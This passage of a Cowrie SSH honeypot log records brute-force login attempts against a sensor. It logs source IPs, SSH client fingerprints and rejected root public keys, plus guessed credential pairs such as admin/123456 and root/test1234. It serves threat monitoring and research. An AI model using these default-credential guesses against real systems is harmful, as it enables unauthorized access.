{"eventid":"cowrie.session.connect","src_ip":"216.59.16.40","src_port":48586,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c0bc314d4f3","protocol":"ssh","message":"New connection: 216.59.16.40:48586 (10.17.0.5:22) [session: 3c0bc314d4f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:53.477191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:53.481468Z","src_ip":"216.59.16.40","session":"3c0bc314d4f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:53.505534Z","src_ip":"216.59.16.40","session":"3c0bc314d4f3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:c3:ee:e2:3f:8a:8a:2a:32:97:cf:dc:78:fa:3b:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUmUJJ98IM/Mn0ylutECsxm8ECobTesf5gnYy1arbTlem3A3P1DG9egjCL73tWWvgcbyVG7bWWCQOGur5Kxi9UveNAhgPlJmNW8p5S4nTZuRjzLhZgsKCT7CDOsAFLuDXUuiOXhoqW6UIT0nqnKgsi+koBQ41I1Ssmspdysxrj7Ylg7oVZEcnRc1oS+r929N5sAbZNV6oknG97UEAUwONoevBeKLxakKogdzo3I316YswPytxRMJwfYa80sIf/+3taLI/ezLg2tJadGsGr0E8+v4USmPX7GVphTLXQ4fmv3cgs2gXeV4MG35GgwthIYnQVGL9Ums50kyabVhECOrch","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:c3:ee:e2:3f:8a:8a:2a:32:97:cf:dc:78:fa:3b:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:53.608894Z","src_ip":"216.59.16.40","session":"3c0bc314d4f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:c3:ee:e2:3f:8a:8a:2a:32:97:cf:dc:78:fa:3b:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUmUJJ98IM/Mn0ylutECsxm8ECobTesf5gnYy1arbTlem3A3P1DG9egjCL73tWWvgcbyVG7bWWCQOGur5Kxi9UveNAhgPlJmNW8p5S4nTZuRjzLhZgsKCT7CDOsAFLuDXUuiOXhoqW6UIT0nqnKgsi+koBQ41I1Ssmspdysxrj7Ylg7oVZEcnRc1oS+r929N5sAbZNV6oknG97UEAUwONoevBeKLxakKogdzo3I316YswPytxRMJwfYa80sIf/+3taLI/ezLg2tJadGsGr0E8+v4USmPX7GVphTLXQ4fmv3cgs2gXeV4MG35GgwthIYnQVGL9Ums50kyabVhECOrch","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:53.613430Z","src_ip":"216.59.16.40","session":"3c0bc314d4f3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:42:0d:dd:08:38:6c:e7:a4:71:7a:3d:94:d8:1c:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhfqzJdt+vmpgkqOQMDWJ8qqzNkenT21Ge677HSaADk4sFG6rMJF1fnuqKhDoMyc/uOaieaRzHFR44adu2s6xu2JKgNtnc7Qn4e8m+XSVnn8BDR44HbMgSBhKHI4VQ+giefU9qgQf5SZVGnBwAJjD7O3KRZEPg0qaxhSdSm1mEgX2pe4CZs50AkYBEwgHN3HGEks5gIf4ZBQLbnHBq+8SKuO64oLlEJaqHLupd+yWra1PjCehrSnk6nJeYmmQaW14a9fquifv3EAJK+cc5UvDR/GD8UDLNpeQUbETJQlBXynpsRLrZOV3DQT39doZ7U+UrMgsQlABY5aZWDSugqp7f","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:42:0d:dd:08:38:6c:e7:a4:71:7a:3d:94:d8:1c:95","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:53.639191Z","src_ip":"216.59.16.40","session":"3c0bc314d4f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:42:0d:dd:08:38:6c:e7:a4:71:7a:3d:94:d8:1c:95","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhfqzJdt+vmpgkqOQMDWJ8qqzNkenT21Ge677HSaADk4sFG6rMJF1fnuqKhDoMyc/uOaieaRzHFR44adu2s6xu2JKgNtnc7Qn4e8m+XSVnn8BDR44HbMgSBhKHI4VQ+giefU9qgQf5SZVGnBwAJjD7O3KRZEPg0qaxhSdSm1mEgX2pe4CZs50AkYBEwgHN3HGEks5gIf4ZBQLbnHBq+8SKuO64oLlEJaqHLupd+yWra1PjCehrSnk6nJeYmmQaW14a9fquifv3EAJK+cc5UvDR/GD8UDLNpeQUbETJQlBXynpsRLrZOV3DQT39doZ7U+UrMgsQlABY5aZWDSugqp7f","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:53.645978Z","src_ip":"216.59.16.40","session":"3c0bc314d4f3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:2e:43:67:0c:11:85:cd:f9:8f:4d:ec:8c:5f:14:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6M+p+sbQEvMJimXbGITjdDx7aLJWvKHgej19DHlJbbouxB2p+b+oRZgtzG2PSAJ6PIww27k2E0fh6v9RxGK/55yH/cZ+ouyw7/b96Tu1Spt3kZKjo0dBi5/RWmJx5NCrSIXCbXqfpF5j887cDkXiZJqnNXLkFPWhzRR8PAW+iYFQI1hw7yhwaqlOHBE1s2Jx72yOm1Wf+QAeywj44O+8uLTQxG8nu9fizVJfcnNeasD79aO5gTJUrjZtF2wQRLcqsi9grS7BtUJA+4zb7529z3d7O9M/a8h0mjh+S54RcVWL/bTfbW/D8Nuzp5poSErwWDpkdCf2BNS+yji5XMFWl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:2e:43:67:0c:11:85:cd:f9:8f:4d:ec:8c:5f:14:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:53.673896Z","src_ip":"216.59.16.40","session":"3c0bc314d4f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:2e:43:67:0c:11:85:cd:f9:8f:4d:ec:8c:5f:14:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6M+p+sbQEvMJimXbGITjdDx7aLJWvKHgej19DHlJbbouxB2p+b+oRZgtzG2PSAJ6PIww27k2E0fh6v9RxGK/55yH/cZ+ouyw7/b96Tu1Spt3kZKjo0dBi5/RWmJx5NCrSIXCbXqfpF5j887cDkXiZJqnNXLkFPWhzRR8PAW+iYFQI1hw7yhwaqlOHBE1s2Jx72yOm1Wf+QAeywj44O+8uLTQxG8nu9fizVJfcnNeasD79aO5gTJUrjZtF2wQRLcqsi9grS7BtUJA+4zb7529z3d7O9M/a8h0mjh+S54RcVWL/bTfbW/D8Nuzp5poSErwWDpkdCf2BNS+yji5XMFWl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:53.678905Z","src_ip":"216.59.16.40","session":"3c0bc314d4f3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:5e:c8:92:fd:33:4f:77:9d:d5:26:03:dd:fc:ff:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCeEAp3rxqqqtjOYFz/ounQsutoRytw2/pJ/WvRvE2zRE7l7IaZJVxZB+UP4U9TBq8eNuF4x2YRzygQ47HPQZyZfBANEMFZtwPMrWOk6e30mHfefEpzLYnbWFTLzCPc/Ivaal54oJ0qHR3C/RKW3DroJFd/LQp//okDbcm5MMjhWayMYUnuGnGMiGHqqYvh0P3zS4L+ODo2GUTk/0nlr9RHuLdif1QMo+yqOA2BaHxJntl3nWArR/vAJwxeXXq1i8i5SjxMD5bcrqpxpAOZ0WMHRPZrebRo/KlfG47i21wisMpInwwH9X1FgkYQiy7MHuaMiHqDNMe9W75RCTC+b4z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:5e:c8:92:fd:33:4f:77:9d:d5:26:03:dd:fc:ff:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:53.705396Z","src_ip":"216.59.16.40","session":"3c0bc314d4f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:5e:c8:92:fd:33:4f:77:9d:d5:26:03:dd:fc:ff:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCeEAp3rxqqqtjOYFz/ounQsutoRytw2/pJ/WvRvE2zRE7l7IaZJVxZB+UP4U9TBq8eNuF4x2YRzygQ47HPQZyZfBANEMFZtwPMrWOk6e30mHfefEpzLYnbWFTLzCPc/Ivaal54oJ0qHR3C/RKW3DroJFd/LQp//okDbcm5MMjhWayMYUnuGnGMiGHqqYvh0P3zS4L+ODo2GUTk/0nlr9RHuLdif1QMo+yqOA2BaHxJntl3nWArR/vAJwxeXXq1i8i5SjxMD5bcrqpxpAOZ0WMHRPZrebRo/KlfG47i21wisMpInwwH9X1FgkYQiy7MHuaMiHqDNMe9W75RCTC+b4z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:53.709501Z","src_ip":"216.59.16.40","session":"3c0bc314d4f3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"44:0c:f1:59:e9:20:13:9e:a0:37:80:d0:7a:fc:f6:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAunfRvrekSotckjibG0cxM5cV4q+iobU00ssKN4l86eIyFNsOIZVlNhJIzJv+UbBA+TT+Lh0NOqEU8klho5MNMxWOwxmT8RkSmm5xKeFHbwDxVr7B412B1R+aQERrrkLkr1svr/pn6mvu1idWjMrBpKERiunyFDilwW2SiXNxttmueFeDk0bNRCN5oFHPc3CADur/TThLwnP0QQZsHxq11tGN/QVIZg+TcQA4NIJN7hPMEojOZ2cNp9+ogFhHsGt1YvlPlNxM3Uz3shQKeHJyD41bnaUsalWJG7yDfgR2P/MJ47r0Ua6iUco+163gRYbCfQiXD+1ttcOEoTWcBuTUJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 44:0c:f1:59:e9:20:13:9e:a0:37:80:d0:7a:fc:f6:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:53.736243Z","src_ip":"216.59.16.40","session":"3c0bc314d4f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"44:0c:f1:59:e9:20:13:9e:a0:37:80:d0:7a:fc:f6:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAunfRvrekSotckjibG0cxM5cV4q+iobU00ssKN4l86eIyFNsOIZVlNhJIzJv+UbBA+TT+Lh0NOqEU8klho5MNMxWOwxmT8RkSmm5xKeFHbwDxVr7B412B1R+aQERrrkLkr1svr/pn6mvu1idWjMrBpKERiunyFDilwW2SiXNxttmueFeDk0bNRCN5oFHPc3CADur/TThLwnP0QQZsHxq11tGN/QVIZg+TcQA4NIJN7hPMEojOZ2cNp9+ogFhHsGt1YvlPlNxM3Uz3shQKeHJyD41bnaUsalWJG7yDfgR2P/MJ47r0Ua6iUco+163gRYbCfQiXD+1ttcOEoTWcBuTUJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:53.740286Z","src_ip":"216.59.16.40","session":"3c0bc314d4f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:53.768657Z","src_ip":"216.59.16.40","session":"3c0bc314d4f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:12:06.809998Z","src_ip":"8.218.166.49","session":"e2d56b90d646","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:12:08.364310Z","src_ip":"8.218.166.49","session":"a59453626c5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:12:08.367796Z","src_ip":"8.218.166.49","session":"a59453626c5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:12:17.685754Z","src_ip":"8.218.166.49","session":"e79cf0f9edc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"93.4","message":"Connection lost after 93.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:12:17.975834Z","src_ip":"8.218.166.49","session":"e2d56b90d646","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":60406,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5d8fa0d87cf","protocol":"ssh","message":"New connection: 47.86.95.62:60406 (10.17.0.5:22) [session: a5d8fa0d87cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:12:23.084695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:12:23.089777Z","src_ip":"47.86.95.62","session":"a5d8fa0d87cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:12:23.929211Z","src_ip":"47.86.95.62","session":"a5d8fa0d87cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:12:29.162265Z","src_ip":"8.218.166.49","session":"68f68e2ef20c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"76.9","message":"Connection lost after 76.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:12:29.642742Z","src_ip":"8.218.166.49","session":"e79cf0f9edc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:12:36.602319Z","src_ip":"47.86.95.62","session":"a5d8fa0d87cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:12:39.058271Z","src_ip":"8.218.166.49","session":"a59453626c5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.7","message":"Connection lost after 17.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:12:40.806484Z","src_ip":"47.86.95.62","session":"a5d8fa0d87cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":40722,"dst_ip":"10.17.0.5","dst_port":22,"session":"4445ada7a55f","protocol":"ssh","message":"New connection: 8.218.166.49:40722 (10.17.0.5:22) [session: 4445ada7a55f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:12:57.397441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:12:57.496334Z","src_ip":"8.218.166.49","session":"4445ada7a55f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:12:58.150155Z","src_ip":"8.218.166.49","session":"4445ada7a55f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:12:59.602077Z","src_ip":"8.218.166.49","session":"4445ada7a55f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:13:05.459989Z","src_ip":"8.218.166.49","session":"4445ada7a55f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":51236,"dst_ip":"10.17.0.5","dst_port":22,"session":"397c335ee607","protocol":"ssh","message":"New connection: 47.86.95.62:51236 (10.17.0.5:22) [session: 397c335ee607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:13:16.939955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:13:17.502882Z","src_ip":"47.86.95.62","session":"397c335ee607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:13:24.033307Z","src_ip":"47.86.95.62","session":"bf4114431b4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":33764,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e62fecaa762","protocol":"ssh","message":"New connection: 194.59.206.2:33764 (10.17.0.5:22) [session: 2e62fecaa762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:13:26.768216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:13:26.773321Z","src_ip":"194.59.206.2","session":"2e62fecaa762","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hel